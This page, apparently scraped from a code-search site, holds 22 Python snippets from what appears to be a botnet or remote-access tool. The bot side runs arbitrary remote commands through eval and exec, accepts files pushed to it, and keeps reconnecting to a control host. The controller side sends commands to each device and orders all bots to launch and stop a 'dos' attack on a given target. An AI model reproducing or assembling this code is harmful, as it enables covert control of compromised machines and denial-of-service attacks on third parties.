Exemplo n.º 1
0
 def event_paykill(self, packet):
     try:
         self.activePayloads[packet.read()].kill()
     except KeyError:
         self.send(
             Packet("info", "Can not find payload %s." % packet.read()))
     else:
         self.send(Packet("info", "Killed payload."))
Exemplo n.º 2
0
    def send_file(self, file, name):
        with open(file, "rb") as f:
            self.send(Packet("new_file", name))

            while True:
                chunk = f.read(RECEIVE_BUFFER - 16)
                if not chunk: break
                p = Packet("file_data", chunk)
                self.send(p)
Exemplo n.º 3
0
 def event_execute(self, packet):
     try:
         data = PayloadPlayer(PAYLOADS[packet.read().split(" ")[0]],
                              self).execute(packet.read())
     except KeyError:
         self.send(
             Packet("info", "Can not find payload %s." % packet.read()))
     else:
         self.send(Packet("info", data))
Exemplo n.º 4
0
    def distribute_file(self, file, name):
        with open(file, "rb") as f:
            for i in self:
                i.send(Packet("new_file", name))

            while True:
                chunk = f.read(RECEIVE_BUFFER - 16)
                if not chunk: break
                p = Packet("file_data", chunk)
                for i in self:
                    i.send(p)
Exemplo n.º 5
0
        def event_cmd(self, packet):
            try:
                data = eval(packet.read())
                self.send(Packet("info", str(data)))
            except Exception as e:
                self.send(Packet("info", str("%s: %s" % (type(e), e))))

            try:
                exec(packet.read())
                self.send(Packet("info", str("Run on exec")))
            except Exception as e:
                self.send(Packet("info", str("%s: %s" % (type(e), e))))
Exemplo n.º 6
0
def ckickdis(x):
    a = {}
    for i in ds.copy():
        ds[i].send(Packet("cleaner"))
        x = ds[i].kill("Kicked all.")
        a[x] = a.get(x, 0) + 1
    return a
Exemplo n.º 7
0
 def connect(self):
     self.pingdelay = time.time() + PING_DELAY
     if not self.client.send(Packet("ping")):
         print("No connect, retrying.")
         self.client = Client(HOST, PORT)
         self.client.start()
         return False
     return True
Exemplo n.º 8
0
        def event_new_file(self, packet):
            name = packet.read()
            self.file_buffer = name

            os.makedirs(
                "." if os.path.dirname(name) == "" else os.path.dirname(name),
                exist_ok=True)
            with open(name, "w") as f:
                f.close()

            self.send(Packet("info", "Recieving file '%s'." % name))
Exemplo n.º 9
0
def ccmd(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("cmd", x[1]))
Exemplo n.º 10
0
def cpaylist(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("execute_list"))
Exemplo n.º 11
0
 def event_execute_list(self, packet):
     self.send(Packet("execute", str(list(PAYLOADS.keys()))))
Exemplo n.º 12
0
 def event_ping(self, packet):
     self.send(Packet("pong"))
Exemplo n.º 13
0
 def error(self, e):
     if self.manager: return self.manager.send(Packet("info", str(e)))
     print("paylod error: %s" % e)
Exemplo n.º 14
0
def cpay(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(
        Packet("execute", " ".join([y for y in x[1::] if y != None])))
Exemplo n.º 15
0
 def event_cleaner(self, packet):
     self.send(Packet("active", str(self.activePayloads)))
Exemplo n.º 16
0
def cddos(x):
    return ds.distribute_packet(Packet("execute", "dos %s %s" % (x[0], x[1])))
Exemplo n.º 17
0
def cpaydis(x):
    return ds.distribute_packet(
        Packet("execute", " ".join([y for y in x if y != None])))
Exemplo n.º 18
0
def ckick(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    ds[x[0]].send(Packet("cleaner"))
    return ds[x[0]].kill("Kicked.")
Exemplo n.º 19
0
def cpaykilldis(x):
    return ds.distribute_packet(Packet("paykill", x[1]))
Exemplo n.º 20
0
def cpaykill(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("paykill", x[1]))
Exemplo n.º 21
0
def cactive(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("active"))
Exemplo n.º 22
0
def ckillddos(x):
    return ds.distribute_packet(Packet("paykill", "dos"))